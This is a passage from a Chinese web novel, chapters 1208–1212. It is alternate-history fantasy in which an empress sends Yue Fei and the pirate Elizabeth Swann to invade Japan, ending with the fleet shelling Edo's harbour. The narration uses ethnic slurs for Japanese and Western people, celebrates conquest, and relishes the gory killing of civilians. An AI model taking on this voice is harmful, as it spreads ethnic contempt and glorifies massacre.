逗他,远比逗那些只知道用下半身思考的蠢货海盗们,要有趣得多。 慕容嫣看着眼前这堪称是“年度大戏”的滑稽一幕。 也是有些,哭笑不得。 她怎么也没想到伊丽莎白这个唯恐天下不乱的妖女,竟然会提出这么一个令人啼笑皆非的要求。 她看了一眼那个早已被气得快要七窍生烟的岳飞。 又看了一眼那个正一脸坏笑,摆明了就是要看热闹的伊丽莎白。 心中却是瞬间便明白了这个妖女的真正意图。 她知道伊丽莎白这么做,看似是在胡闹是在调戏岳飞。 但实际上却是在用这种最直接也最有效的方式,来试探她这个东方女皇的底线和气度。 她想看看她到底有没有容人的雅量。 她想看看她到底敢不敢将自己和自己最信任的心腹大将,一同派往那危机四伏的东海战场。 这既是一场试探。 也是一场博弈。 一场属于她们两个女王之间的无声的较量。 想明白了这一点。 慕容嫣那双美丽的凤眸之中闪过了一丝了然的笑意。 她知道自己该怎么做了。 “好。”她缓缓地开口声音不大却又充满了不容置疑的绝对自信。 “朕允了。” “什么?!” 这一次轮到伊丽莎白傻眼了。 她呆呆地看着眼前这位,竟然想也不想地就答应了她这个荒唐要求的东方女皇。 那双蓝宝石一般的美丽眼眸之中充满了难以置信的震惊! 她怎么也没想到。 对方竟然会如此的干脆! 如此的有魄力! 她就不怕自己和她最信任的将军,在外面日久生情搞到一起去吗? 她就不怕她最得力的一文一武两大臂助联合起来架空她这个女皇帝吗? 这个东方女人她的心到底是有多大? 她的自信又到底是有多强?! “陛……陛下!”岳飞也急了! 他连忙跪倒在地急声说道:“陛下!万万不可啊!” “末将……末将乃是大乾的兵部尚书!职责是在朝中为陛下统筹三军运筹帷幄!岂能亲赴前线冲锋陷阵?!” “更何况……”他看了一眼那个正一脸得意地看着他的金发妖女,那张刚毅的脸上又是一阵滚烫。“末将与此女素不相识!更……更谈不上什么保护不保护的!” “请陛下收回成命!” “岳爱卿。”慕容嫣看着他那副又急又窘的模样,脸上的笑意更浓了。 “朕意已决不必多言。” “朕知道你的才能绝不仅仅只是一个兵部尚书。” “朕也相信你的忠诚,绝不会因为任何的美色和诱惑而有半分的动摇。” “这次东征伊丽莎白虽为三军统帅。但她毕竟是西夷之人不熟我大乾国情和军法。” “朕需要你跟在她的身边。” “既是作为她的副将,辅助她排兵布阵克敌制胜。” “也是作为朕的眼睛和耳朵,替朕监视她和那五万大军的一举一动!” “最重要的一点!” 她的声音变得无比的郑重和严肃! “朕将那刚刚才从工坊里赶制出来的一千支最新式的燧发枪和一百门十二磅的舰载加农炮全都交给你!” “由你亲自组建一支完全由你掌控的东征‘神机营’!” “这支部队将是我们这次东征,最后的也是最致命的杀手锏!” “你明白朕的意思吗?!” 岳飞听完慕容嫣这番充满了信任,器重和深远考量的托付。 那颗原本还因为伊丽莎白的调戏而七上八下的心。 瞬间便被一股前所未有的巨大的感动,和责任感所彻底填满! 他知道,陛下这是在用一种最直接也最彻底的方式,向他表达了她那毫无保留的绝对信任! 她将整个东征大军的胜败关键! 将大乾海军的未来! 甚至将她自己这位东征统帅的身家性命! 全都压在了他一个人的身上! 这份知遇之恩! 这份君臣之间的无上信赖! 他岳飞纵使粉身碎骨也无以为报! “末将……领旨!” 他没有再多说一个字。 只是用尽全身的力气重重地磕了一个响头! 那沉闷的额头与金砖碰撞的声音。 响彻了整个紫宸殿。 也宣告了一场,即将改变整个东亚,乃至整个世界格局的史诗级东征。 正式拉开了它波澜壮阔的序幕! 在慕容嫣的铁腕决断之下,对倭国的全面战争,以一种任何人都始料未及的速度,迅速地被提上了日程。 整个大乾帝国这部刚刚才从“虎门海战”的胜利喜悦中,缓过神来的庞大机器,又一次以一种更加疯狂更加高效的速度,全力运转了起来! 户部尚书周兴这位大乾的“财神爷”更是彻底地爆发了。 他几乎是把自己的床都搬到了户部的衙门里,不分昼夜地为即将到来的东征大军筹措着粮草和军饷。 他甚至还破天荒地,动用了林臻之前留下的那个“大杀器”——以“大乾皇家银行”的名义向全天下的商贾和百姓,发行了第一批总额高达三百万两白银的“战争债券”! 他向所有人承诺,只要大乾能打赢这场仗,夺取倭国那座传说中的巨大银矿。 所有购买了“战争债券”的人,不仅能连本带息地收回自己的投资。 还能额外地获得那座银矿未来十年之内百分之十的收益分红! 这个充满了诱惑和画饼意味的承诺,像一颗重磅炸弹,瞬间在整个大乾的商界引爆了! 无数嗅觉敏锐的富商大贾,都像是闻到了血腥味的鲨鱼一样蜂拥而至! 他们虽然不知道那倭国的银矿到底有多大。 但是他们相信他们那位算无遗策,智多近妖的摄政王殿下! 他们更相信他们那位魄力无双,言出必践的绝美女帝! 只要是这对传奇帝后想要做成的事。 那就没有做不成的! 跟着他们投资! 绝对稳赚不赔! 于是仅仅三天的时间。 那总额高达三百万两白银的“战争债券”便被抢购一空! 甚至还有许多没有抢到的商人,捶胸顿足,懊悔不已。 而大乾的国库,也因此在一夜之间变得前所未有的充裕! 有了钱有了粮。 接下来的事就好办多了。 在工部尚书李格的亲自监督之下。 无数的军用物资和那刚刚才从神机营工坊里新鲜出炉的一千支燧发枪,一百门舰载加农炮。 被源源不断地通过刚刚才全线贯通的大运河。 从长安运往了位于东海之滨的广州和福州两大军港。 第1208章 海阔天空,一飞冲天 在那里。 由伊丽莎白·斯旺和岳飞,共同统帅的大乾东征联合舰队早已集结待命! 那是一支由一千余艘各类型战船,和五万余名精锐水师官兵,所组成的庞大舰队! 其规模之大,实力之强,放眼整个大乾的历史,都是前所未有的! 舰队的最中央是那艘通体漆黑,充满了邪恶与力量美感的“黑珍珠号”。 它将作为这次东征的旗舰,由伊丽莎白亲自坐镇指挥。 而它的周围则簇拥着近百艘,由广东和福建两地最大的福船,改造而成的重型武装战舰。 这些战舰虽然在性能上还远远无法与“黑珍珠号”相提并论。 但是它们的船头和船尾,都装备了威力巨大的红衣大炮。 船身两侧更是加装了厚厚的铁甲护板。 足以在近海的战斗中,发挥出不容小觑的强大威力。 至于岳飞和他麾下那支,由一千名最精锐的“神机营”士兵,所组成的燧发枪部队。 则被秘密地安置在了舰队最后方,几艘看起来毫不起眼的大型运输船上。 他们将作为这次东征最后的,也是最致命的杀手锏。 在最关键的时刻给那些不知死活的倭寇,带来来自地狱的死亡惊喜! 一切准备就绪。 七日之后。 在一个风和日丽,宜于出海的清晨。 伴随着一阵阵震耳欲聋的礼炮轰鸣,和那山呼海啸般的万民欢送声。 庞大的大乾东征联合舰队,终于升起了那遮天蔽日的巨大船帆! 然后在伊丽莎白和岳飞的共同指挥之下。 浩浩荡荡地驶离了广州港。 向着那充满了未知危险和无尽财富的东方岛国。 ——倭国进发! 一场注定要改变整个东亚,乃至整个世界格局的史诗级远征。 就此拉开了它波澜壮阔的血腥序幕! …… 而就在大乾的东征舰队扬帆起航的同时。 长安皇宫。 栖凤阁内。 慕容嫣正一个人静静地坐在窗边。 她的手中捧着一杯早已凉透了的君山银针。 那双美丽的凤眸正痴痴地望着东方那遥远的天际线。 脸上写满了无法掩饰的担忧和思念。 她知道这一战对大乾,对她对那个还在病榻之上,昏迷不醒的男人到底有多么的重要。 胜则海阔天空一飞冲天! 大乾将彻底摆脱财政危机,拥有逐鹿世界的雄厚资本! 她和她的夫君也将拥有一个真正稳定而又光明的未来! 败则万劫不复,粉身碎骨! 大乾将彻底耗尽最后的国力,沦为西方列强随意宰割的鱼肉! 而她也将失去所有的一切。 包括她最爱的那个男人。 和她肚子里那个还未出世的孩子。 这是一场她输不起的惊天豪赌! 她将自己的所有的一切,都压在了伊丽莎白和岳飞,这两个她刚刚才委以重任的年轻人身上。 她不知道自己的这个决定到底是对还是错。 她只知道她别无选择。 “夫君,”她低声地喃喃自语着那声音轻得仿佛随时都会被风吹散,“你快点醒过来好不好?” “我……我真的好怕……” “我怕我一个人撑不住……” 她那娇小的看似坚强的身体,在这一刻微微地颤抖了起来。 眼泪再一次不争气地,从她那美丽的凤眸之中滚落下来。 她身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了它主人那内心深处的脆弱和无助。 那极致玄黑的苏锦底料,在清晨那略显清冷的阳光下,显得格外的孤寂和落寞。 那只用真金线绣成的擎天巨凤,也收敛了所有的锋芒和威严。 凤目低垂,充满了无尽的担忧和迷茫。 仿佛也在为这个庞大而又脆弱的,帝国未知的命运,而默默地祈祷。 然而。 就在慕容嫣心乱如麻六神无主的时候。 一个她做梦也想不到的巨大的“惊喜”。 却突然从遥远的西域传了回来! “报——” 一声比之前任何一次都更加急促更加响亮的嘶吼声! 再一次划破了皇宫的宁静! “西域八百里加急!” “王爷……王爷他醒了!” “什么?!” 那一声充满了狂喜和难以置信的“王爷醒了”,像一道蕴含着创世之力的混沌神雷! 瞬间在慕容嫣那,早已被黑暗和绝望所笼罩的心湖之中,轰然炸响! 她整个人都傻了。 呆呆地愣在了原地。 手中的那杯早已凉透了的茶水,“啪”的一声掉落在地,摔得粉身碎裂。 但她却浑然不觉。 她那双原本还噙满了悲伤和绝望泪水的美丽凤眸,在这一刻瞪得比铜铃还大! 嘴巴也微微地张着。 脸上全是无法用言语来形容的,极致的震惊和狂喜! 醒……醒了? 夫君他……他真的醒了?! 她不是在做梦吧?! “陛……陛下!”那名从西域星夜兼程跑死了整整八匹汗血宝马的年轻信使,此刻也顾不上那快要散架的身体,和那早已干裂出血的嘴唇。 他连滚带爬地冲到了慕容嫣的面前,“噗通”一声跪倒在地! 用一种近乎于嘶吼的颤抖声音,再一次高声地禀报道! “陛下!千真万确!王爷他……他醒了!” “不仅醒了!” “而且就在三日前,王爷他还亲自设计了一场绝世妙计!” “在昆仑山下的一个名为‘一线天’的险峻峡谷里!” “以区区五千神机营的兵力,全歼了奥斯曼土耳其的五万先锋大军!” “并且还还生擒了他们的主帅号称‘沙漠之狐’的穆罕默德亲王!” “如今那剩下的十五万土耳其大军,早已是军心大乱,溃不成军!” “被我们和那安北王呼韩邪的草原联军,给死死地堵在了昆仑山的另一头!” “王爷让末将快马加鞭地赶回来告诉您!” “西域之危已解!” “请陛下放心!” “也请陛下即刻调集粮草和援军!” “王爷他……他要反攻了!” “他要带着神机营的将士们杀……杀穿整个西域!” “一直打到那奥斯曼土耳其的老巢!” “君士坦丁堡!” “去给咱们那惨死的十万安西军兄弟!” “报仇雪恨!!!” “轰——” 如果说刚才那句“王爷醒了”是一道惊雷。 那么现在这番充满了铁血疯狂,和无尽霸气的反攻宣言! 就是一颗足以毁灭整个星辰的超级核弹! 瞬间将整个栖凤阁,乃至整个皇宫,都给炸得七零八落,天翻地覆! 第1209章 战船原地抛锚 慕容嫣呆呆地听着。 那颗刚刚才因为巨大的喜悦而快要跳出胸膛的心。 在这一刻又一次被更加巨大,更加难以言喻的狂喜,和震撼所彻底填满! 醒了! 他不仅醒了! 而且还在醒来的第一时间,就用一种所有人都意想不到的神仙手段! 以五千破五万! 全歼了敌人的先锋! 生擒了敌人的主帅! 彻底扭转了整个西域的战局! 甚至他还要反攻! 他要杀穿整个西域! 他要一直打到那万里之外的君士坦丁堡! 这……这……这…… 这还是人吗?! 这分明是一尊从九天之上降临凡尘的无敌战神啊! “哈哈……哈哈哈哈!” 在经历了长久的极致的震惊之后。 慕容嫣再也控制不住自己那早已决了堤的情绪! 她猛地仰起头,发出了一阵充满了无尽的骄傲自豪,和狂喜的清脆笑声! 那笑声是如此的动听! 如此的悦耳! 仿佛是这世界上最美妙的天籁之音! 瞬间便驱散了,这笼罩在皇宫上空多日来的,所有的阴霾和压抑! 让整个世界都仿佛在这一刻重新变得春暖花开阳光明媚! 她笑了。 她哭了。 她又笑又哭。 像一个终于等到了自己心爱的盖世英雄,驾着七彩祥云来拯救自己的,幸福的小女人。 那长达五丈的墨金色苏锦拖尾,更是如同一条由幸福和喜悦,共同编织而成的金色银河! 在她身后恣意地流淌铺陈! 那华贵的凌乱在这一刻不再是悲伤和绝望。 而是一种守得云开见月明,苦尽甘来的无尽幸福和甜蜜! “好!好!好!” “不愧是朕的男人!” 她一边笑着,一边流着泪,那双美丽的凤眸之中,全是化不开的骄傲和爱意。 “传……传朕的旨意!”她深吸一口气,那声音虽然还带着一丝无法抑制的哭腔和颤抖。 但却又重新恢复了,那杀伐决断的女帝威严! “即刻命户部尚书周兴!” “不惜一切代价!” “为西征大军筹措粮草!军饷!” “朕要让我们的将士们吃最好的肉!喝最烈的酒!用最锋利的刀!打最狠的仗!” “另外!” “再传朕的口谕给远在东海之上的,伊丽莎白和岳飞!” 她走到那巨大的堪舆图前。 那双燃烧着熊熊火焰的美丽凤眸,死死地盯着那位于地图最西端的,一个她从未听说过的陌生城市。 ——君士坦丁堡! 嘴角缓缓地勾起了一抹,与她夫君如出一辙的冰冷的,充满了无尽霸气的弧度。 “告诉他们!” “不用再演戏了。” “也不用再等了。” “让他们立刻给朕以最快的速度打下倭国!拿下那座银矿!” “然后……” “整军备战!” “与朕和王爷会师!” “君士坦丁堡!!!”慕容嫣这道充满了无尽的霸气,和滔天野心的惊天旨意。 像一颗威力比之前任何一次都更加恐怖的超级核弹! 再一次将整个大乾的朝堂给彻底地引爆了! 东西两线同时开战?! 兵分两路直指倭国和君士坦丁堡?! 这……这已经不是疯狂了! 这简直是要逆天啊! 所有文武百官都再一次,被他们这位心思比宇宙还要浩瀚难测的女帝陛下,给彻彻底底地惊呆了! 他们感觉自己的心脏,在这一天之内所承受的刺激和起伏。 比他们这辈子加起来都还要多! 然而。 这一次却再也没有一个人敢站出来提出任何的反对和质疑。 因为他们知道。 他们的王爷醒了。 他们那位如同神明一般无所不能的摄政王殿下回来了! 有他在。 这个世界上就没有任何他们大乾打不赢的仗! 有他在。 这个世界上就没有任何他们大乾征服不了的土地! 一股前所未有的强大的近乎于盲目的自信和狂热! 瞬间充斥了每一个大乾臣子的胸膛! “陛下圣明!王爷神武!” “大乾万胜!大乾万胜!” “东西两线同时开战!扬我大乾天威!就在今日!” “杀!杀!杀!杀到君士坦丁堡!活捉那奥斯曼苏丹!让他给咱们陛下和王爷当马骑!” 整个紫宸殿彻底地沸腾了! 所有文武百官都像是打了鸡血的疯子一样! 一个个面红耳赤声嘶力竭地嘶吼着咆哮着! 那股冲天的战意和杀气! 几乎要将这紫宸殿的屋顶都给掀翻! 慕容嫣看着殿下那群情激奋战意昂然的文武百官。 那张绝美的俏脸之上也露出了一个充满了欣慰和骄傲的笑容。 她知道。 从这一刻起。 她的大乾,这头沉睡了数千年的东方雄狮。 终于在这接二连三的胜利和刺激之下。 彻底地苏醒了! 它将不再满足于偏安一隅固步自封。 它将张开它那早已饥渴难耐的锋利獠牙! 向着这个充满了财富机遇和挑战的广阔世界! 发出它那来自于古老东方的第一声愤怒的咆哮! …… 与此同时。 遥远的东海之上。 一支由上千艘各类型战船所组成的庞大舰队。 正如同一片移动的黑色森林。 悄无声息地向着那在海图上,标记为“倭国”的神秘岛屿缓缓地靠近。 旗舰“黑珍珠号”的甲板之上。 伊丽莎白·斯旺和岳飞两人正并肩而立。 他们的手中都拿着一具一模一样的高倍单筒望远镜。 正一脸凝重地观察着,不远处那越来越清晰的海岸线。 和那海岸线之后,隐隐约约可以看到的连绵起伏的城郭和村庄。 “岳将军,”伊丽莎白放下望远镜,那张美艳的俏脸之上露出了一个,充满了野性和魅惑的笑容,“你说我们是先用炮火,跟他们打个招呼呢?” “还是直接登陆给他们一个惊喜呢?” 岳飞闻言,却是没有理会她那充满了调侃意味的言语。 他那张古铜色的刚毅脸庞之上,一片平静古井不波。 他的目光如同最精准的标尺。 仔仔细细地测量着,从他们现在的位置到海岸线的直线距离。 和那海岸线附近水流的速度和深浅。 许久。 他才缓缓地开口声音沉稳得如同山岳。 “传我的令。” “所有战船原地抛锚。” “不得再前进分毫。” “什么?”伊丽莎白闻言微微一愣,那双蓝宝石一般的美丽眼眸之中,闪过了一丝不解。 第1210章 这才是最危险的时候 “为什么?我们马上就要到岸了。这可是打他们一个措手不及的最佳时机啊。” “不。”岳飞摇了摇头声音不容置疑。 “恰恰相反。” “这才是最危险的时候。” “你难道没有发现吗?” 他指着不远处那片看起来风平浪静的海面。 “这里的水流太急了。” “而且在那片看似平静的海面之下隐藏着无数的暗礁和旋涡。” “我们若是就这么贸然地冲过去。” “一旦搁浅或是被卷入旋涡。” “那我们这上千艘战船不等倭寇来攻,自己就要先全军覆没了。” 伊丽莎白听完岳飞的分析,那张美艳的俏脸之上瞬间便闪过了一丝凝重和后怕。 她虽然是加勒比海最强大的海盗女王。 但她也从未来过这片充满了未知的东方海域。 更不了解这里那复杂而又凶险的水文环境。 她刚才光顾着兴奋了。 竟然完全忽略了这最致命的一点! 若是没有身边这个,心思缜密稳重如山的东方男人。 她恐怕真的会因为自己的一时大意。 而将整个舰队都带入万劫不复的绝境! “那……那我们现在该怎么办?”她的声音里带上了一丝,连她自己都未曾察觉的依赖和请教。 “等。”岳飞的口中依旧是那个雷打不动的一个字。 “等?”伊丽莎白更糊涂了。 “没错。”岳飞点了点头那双炯炯有神的虎目之中闪烁着睿智的光芒。 “我们等风来。” “也等一个能为我们带路的人。” “带路的人?” “对。”岳飞的嘴角勾起了一抹胸有成竹的笑容。 “如果我所料不差。” “那个人应该很快就要来了。” 而就在他的话音刚刚落下的那一刹那! 远处那片被浓浓海雾所笼罩的海岸线上。 一艘挂着白色旗帜的小小渔船。 正拼了命地向着他们这支庞大的黑色舰队划了过来! 而船头之上一个身穿破烂武士服,身材却异常高大魁梧的独眼男人。 正一边奋力地挥舞着手中的白色旗帜。 一边用一种充满了激动和狂喜的嘶哑声音,疯狂地大喊着! “天朝的大人们!” “请……请等一下!” “小人……小人是来投诚的!” ...... 那艘挂着白旗的小小渔船,在波涛汹或者的海面上,如同一片随时可能被吞噬的,孤零零的树叶。 但船头那个挥舞着白旗的独眼男人,却仿佛拥有着无穷无尽的力气。 他的喊声沙哑却又充满了穿透力。 清晰地传到了“黑珍珠号”的甲板之上。 “投诚的?”伊丽莎白看着那个越来越近的独眼男人,那双蓝宝石般的眼眸之中,闪过了一丝玩味和不屑。 “咯咯咯,真是有意思。” “我们这还没开打呢。竟然就有人主动送上门来当带路党了?” “看来这倭国的男人也不过如此嘛。一个个都是些软骨头。” 她一边说着,一边用一种充满了挑逗和鄙夷的目光,看向了身旁那个依旧是面无表情的东方男人。 然而岳飞却像是根本没有听到她的调侃一般。 他只是举着望远镜,仔仔细细地观察着,那个越来越近的独眼男人。 和他身后那艘看起来平平无奇的小渔船。 许久。 他才缓缓地放下了望远镜。 那张古铜色的刚毅脸庞之上,露出了一丝了然的神色。 “让他上来吧。”他淡淡地说道。 “哦?”伊丽莎白有些意外地挑了挑眉,“岳将军就这么相信他了?” “你就不怕他是倭寇派来的奸细?” “就不怕他那艘小小的渔船里,藏着什么要命的玩意儿?” “不怕。”岳飞的回答简单而又充满了绝对的自信。 “因为,”他的目光再次落在了那个独眼男人的身上,“从他的眼神里,我看到的不是狡诈和阴险。” “而是一种被压抑了太久太久的刻骨的仇恨。” “和一种终于看到了复仇希望的疯狂的喜悦。” “我相信一个拥有如此眼神的男人。是绝不会背叛我们的。” 伊丽莎白听完岳飞的这番,充满了识人之道的精准分析。 那双蓝色的眼眸之中,闪过了一丝极其复杂的异样的光芒。 她发现自己真是越来越看不透身边这个,看似木讷实则内心比任何人都更加通透和睿智的东方男人了。 他就像是一本厚重而又深邃的古老史书。 每一次翻开都能让她有全新的发现和惊喜。 …… 很快。 那名自称是前来投诚的独眼男人,便被带到了“黑珍珠号”的甲板之上。 他一上船,看到眼前这位身材魁梧,气势如渊,浑身都散发着铁血杀伐之气的大乾将军。 和他身边那位,金发碧眼,美艳得不似凡人,却又同样气场强大的女提督。 那只仅剩的独眼之中,瞬间便闪过了一丝深深的敬畏和震撼! 他知道自己赌对了! 眼前这支庞大的,如同移动的海上城市的黑色舰队! 和舰队之上的,这两位如同神明一般的天朝将领! 就是他和他身后那千千万万,被压迫被奴役的倭国底层人民,最后的也是唯一的救世主! 他再也没有任何的犹豫。 “噗通”一声便重重地跪倒在地! 然后用一种极其标准也极其虔诚的姿态。 对着岳飞和伊丽莎白行了一个五体投地的大礼! “小人伊达政宗!” “代我倭国千千万万被织田信长那暴君所奴役和压迫的无辜百姓!” “叩见天朝上国的将军大人!和提督大人!” “恳请二位大人发天兵降神威!” “为我等铲除国贼!匡扶正义!” “小人及我身后所有不愿再受暴君奴役的仁人志士!” “愿为天朝大军充当马前卒!” “为二位大人带路!攻城!拔寨!” “在所不辞!!!” 他这番话说得是慷慨激昂荡气回肠! 那声音里充满了一种被压抑了太久太久的滔天恨意! 和一种将自己和所有族人的命运,都孤注一掷地,压在外来侵略者身上的悲壮和决绝! 岳飞和伊丽莎白听完他这番话对视了一眼。 都从对方的眼中看到了一丝了然的笑意。 他们知道。 他们这次东征最关键的一步棋。 已经稳了。 第1211章 不如先取一臂 一旁的伊丽莎白,则是饶有兴致地看着眼前这,堪称是“一见如故,君臣相得”的感人一幕。 她那张美艳的俏脸之上,露出了一抹高深莫测的玩味笑容。 她走到岳飞的身边,用那涂着鲜红色蔻丹的纤纤玉指,轻轻戳了戳他那如同岩石一般坚硬的胸膛。 然后用一种,足以让任何男人都骨头发酥的咏叹调,在他的耳边轻声说道。 “咯咯咯,岳将军可真是好手段呢。” “三言两语,就收服了这么一条,忠心耿耿的,东洋恶犬。” “看来,人家以后,可得对您,刮目相看了呢~” 岳飞被伊丽莎白这突如其来的亲昵举动和轻佻言语,弄得是浑身一僵。 他那张古铜色的刚毅脸庞,又一次“唰”的一下,涨成了猪肝色。 他下意识地就想后退一步,离这个不知廉耻的妖女远一点。 可是一想到自己现在,好歹也是跟她平起平坐的联合主帅。 若是就这么被她一句话就给吓跑了,岂不是太丢他们大乾男人的脸了? 想到这里,他只能强行压下心中的那点尴尬和不自在,板着一张脸,硬邦邦地说道:“伊丽莎白提督,请自重。” “军中无戏言,还请提督大人,以后莫要再开这种无聊的玩笑。” “咯咯咯……”伊丽莎白看着他那副一本正经,却又明显是外强中干的纯情模样,笑得是更加的花枝乱颤。 她发现自己真是越来越喜欢,逗弄身边这个古板又可爱的东方男人了。 这远比在那些只知道打打杀杀的臭男人堆里,要有意思得多。 “好啦好啦,”她见好就收,知道再逗下去,这个脸皮薄的男人,恐怕真的要恼羞成怒了。 她收起了脸上的笑容,神色也重新变得认真了起来。 “既然带路的已经来了,那我们接下来,该怎么做?” “是直接杀向那个什么织田信长的老巢安土城?” “还是先找个地方,安营扎寨,徐徐图之?” 岳飞闻言,没有立刻回答。 他转过头,看向了那个还跪在地上的独眼男人,伊达政宗。 “伊达政宗,”他的声音,沉稳而又充满了威严,“你起来回话。” “是,将军大人!”伊达政宗连忙从地上爬了起来,恭恭敬敬地站在一旁,那姿态比他当年,面对自己亲爹的时候还要更加的谦卑。 “我问你,”岳飞的目光,如同两把锋利的刀子,死死地盯着他,“那织田信长的老巢安土城,在何方位?城中守军有多少?粮草几何?城防又如何?” “回将军大人的话,”伊达政宗想也不想地,便竹筒倒豆子般地,将自己所知道的一切都说了出来。 “那安土城,位于我倭国近江国境内,乃是我倭国腹心之地。其城池,乃是织田信长花费了整整三年,动用了数十万民夫,仿照天朝上国的长安城,所修建而成的天下第一坚城!” “其城墙高达十丈,皆是用巨石垒砌,坚不可摧!城内守军,更是常年保持在五万以上!且皆是装备了从那些西夷红毛鬼手里,买来的最新式的铁炮的精锐之师!” “城中的粮草,更是足以支撑十万大军,坚守三年而不缺!” “可以说,那安土城,就是一座不可能被攻破的战争堡垒!” 伊达政宗说到这里,那只仅剩的独眼之中,充满了无法掩饰的恨意和不甘。 他知道,若非是内部出了叛徒,光凭外部强攻,就算是给他二十万大军,他也休想撼动那座坚城分毫。 岳飞和伊丽莎白听完他的介绍,那脸色也都是微微一变。 他们怎么也没想到,这小小的倭国,竟然还有如此一座,堪比他们大乾都城的超级要塞! 看来,他们之前,确实是有些小看这个,看似不起眼的弹丸小国了。 “那依你之见,”岳飞沉吟了片刻,开口问道,“我们这第一战,该当如何打?” “回将军大人的话,”伊达政宗的独眼之中,闪过了一丝狡诈的,如同饿狼一般的光芒,“小人以为,我等不应直取安土。” “哦?”岳飞的眼中,闪过了一丝好奇,“为何?” “因为安土城虽坚,但其亦是我倭国的心脏所在。”伊达政宗分析道,“我等若是,一开始便直扑其心腹之地。那织田信长必然会,倾其全国之力,与我等决一死战!” “届时,我等虽然兵强马壮,船坚炮利,但毕竟是劳师远征,补给困难。一旦陷入了那旷日持久的消耗战,于我等实为不利。” “所以,小人斗胆建议。” “我等不如,先取其一臂!” “哦?取其一臂?”伊丽莎白也来了兴致,“说来听听,是哪一臂?” 伊达政宗的目光,落在了他刚刚才进献上来的那副,无比详尽的倭国全图之上。 他那只粗糙的大手,重重地点在了地图上,一个位于倭国最东部,也是最繁华的巨大城市之上! “江户!” “江户?”岳飞和伊丽莎白,都有些不解。 他们虽然没来过倭国,但也听说过,这江户城乃是倭国东部第一大城,其繁华程度,甚至不亚于他们西部的京城。 只是,他们想不明白,为什么伊达政宗会建议他们舍近求远,去攻打这么一个,看似与战局无关的城市。 “没错,就是江户!”伊达政宗的独眼之中,闪烁着智珠在握的兴奋光芒! “二位大人有所不知。” “这江户城,乃是我倭国最大的,也是唯一的对外通商口岸!” “织田信长那厮,每年从对外贸易中所获取的巨额财富,有超过七成,都是来自于这座城市!” “可以说,这江户城,就是织田信长那厮的钱袋子!” “只要我们,能一举拿下江户!” “那就等于是,彻底地斩断了织田信长那厮的财路!” “断了他的财路,他就无法再维持他那支,庞大的铁炮军队!” “他就无法再收买和拉拢,那些摇摆不定的地方大名!” “届时,他那看似固若金汤的统治,便会从内部开始土崩瓦解!” “此其一!” 第1212章 进攻江户 “其二,”伊达政宗的嘴角,勾起了一抹,残忍的冷笑,“这江户城,还是织田信长那厮的,另一个心腹大患,德川家康的老巢!” “那德川家康,乃是我倭国东部第一大名,实力雄厚,野心勃勃。他虽然表面上,已经臣服于织田信长。但实际上,却是一直在暗中积蓄力量,等待时机,准备取而代之!” “我等若是,能一举攻下江户,那德川家康为了保住自己的老巢和地盘,就必然会与织田信长反目成仇!” “届时,我等便可坐山观虎斗!” “等到他们两败俱伤之际,再挥师西进,直取安土!” “如此一来,这小小的倭国,岂不是唾手可得?!” 伊达政宗的这番,堪称是“一石二鸟,坐收渔利”的绝妙毒计。 让岳飞和伊丽莎白,都听得是眼前一亮,拍案叫绝! 他们怎么也没想到,眼前这个看起来粗鄙不堪的独眼龙,在战略谋划之上,竟然也有着如此深沉和歹毒的考量! 看来,他当年能差一点就统一整个倭国,也并非是全靠运气。 “好!”伊丽莎白第一个,拍板决定了下来。 她现在是看这个,跟她一样,充满了反叛和复仇精神的独眼龙,越来越顺眼了。 “就依你所言!” “传我的令!” “全舰队,立刻转向!” “目标!” “江户!!!” 随着伊丽莎白那一声,充满了女王霸气的命令。 庞大的大乾东征联合舰队,在伊达政宗这个“本地向导”的带领下,悄无声息地,绕过了那防守严密,戒备森严的倭国西部海域。 如同一柄,来自于九幽地狱的,黑色的死亡镰刀。 向着那座,还完全沉浸在,和平与繁华的睡梦之中的,东方第一大城。 ——江户,狠狠地挥了下去! ....... 江户湾。 作为倭国最大也最繁华的港口,这里每日里都是千帆竞渡,百舸争流。 来自于大乾的商船,来自于南洋的香料船,甚至还有来自于遥远西方的,红毛夷人的武装商船,都在这里汇聚交流。 码头之上,更是人声鼎沸,车水马龙。 不同肤色,不同语言的商人、水手、脚夫,和那些穿着华丽和服,前来游玩的武士、贵族,以及那些涂着厚厚白粉,踩着高高木屐的妖艳游女,共同构成了一副充满了畸形的繁华与活力的“浮世绘”景象。 然而,就在今日。 这份持续了数百年的和平与繁华,即将被一群来自于遥远大陆的不速之客,用最血腥,也最残忍的方式彻底地打破。 清晨。 当第一缕阳光,刚刚洒满整个江户湾的时候。 海面之上,却突然升起了一阵极其诡异的,浓厚的黑色大雾。 那雾是如此的浓,如此的黑。 以至于整个江户湾都在瞬间陷入了一片,伸手不见五指的漆黑之中。 所有在港口里准备出海的船只,和那些在码头上准备开始一天工作的脚夫、商人们,都被这突如其来的诡异天象给弄得是一头雾水,人心惶惶。 “这是怎么回事?” “好端端的,怎么会起这么大的雾?” “是啊而且这雾还是黑色的,看起来好生邪门……” “该不会是……是海神大人发怒了吧?” 就在所有人都对着这诡异的黑雾议论纷纷,惊疑不定的时候。 一阵阵比那最沉闷的冬日惊雷,还要更加巨大更加令人心悸的恐怖轰鸣声! 却突然从那浓浓的黑雾深处响了起来! “轰——轰隆隆——” 紧接着! 在所有江户百姓,那充满了惊骇和绝望的目光注视下。 数以百计的,拖着长长的如同彗星一般的,赤红色尾焰的巨大黑色铁球! 便如同一场来自于九幽地狱的钢铁陨石雨! 以一种他们根本无法理解,也无法想象的恐怖速度和毁灭力量! 铺天盖地地从那浓浓的黑雾之中呼啸而出! 然后狠狠地砸向了那停泊在港口之内的倭国战船、商船,和那无比繁华的,江户码头! 大乾东征联合舰队! 开炮了! 这是他们在踏上这片,充满了罪恶和肮脏的土地之后所发出的,第一声愤怒的咆哮! 也是他们为这即将到来的,血腥屠杀,所奏响的,第一曲死亡的乐章! “轰——轰隆隆——轰——” 一声声惊天动地的,剧烈爆炸声骤然响起! 整个江户湾在这一瞬间,仿佛变成了一个巨大无比的,人间炼狱! 那些停泊在港口之内的倭国战船和商船,在这些专门为它们量身打造的,一百二十毫米口径的开花弹的无情轰击之下。 根本就没有任何的抵抗之力! 一艘艘被炸得四分五裂,木屑横飞! 熊熊的冲天烈火和那滚滚的,黑色浓烟瞬间便,吞噬了整个港口! 而那些还在码头上来不及逃跑的倭国脚夫、商人、武士,和那些妖艳的游女。 更是在这铺天盖地的,死亡弹雨之中被炸得血肉横飞,尸骨无存! 残肢! 断臂! 内脏! 和那被鲜血彻底染红的,冰冷的海水! 共同构成了一副足以让任何一个心智正常的人当场发疯的,末日地狱之景! 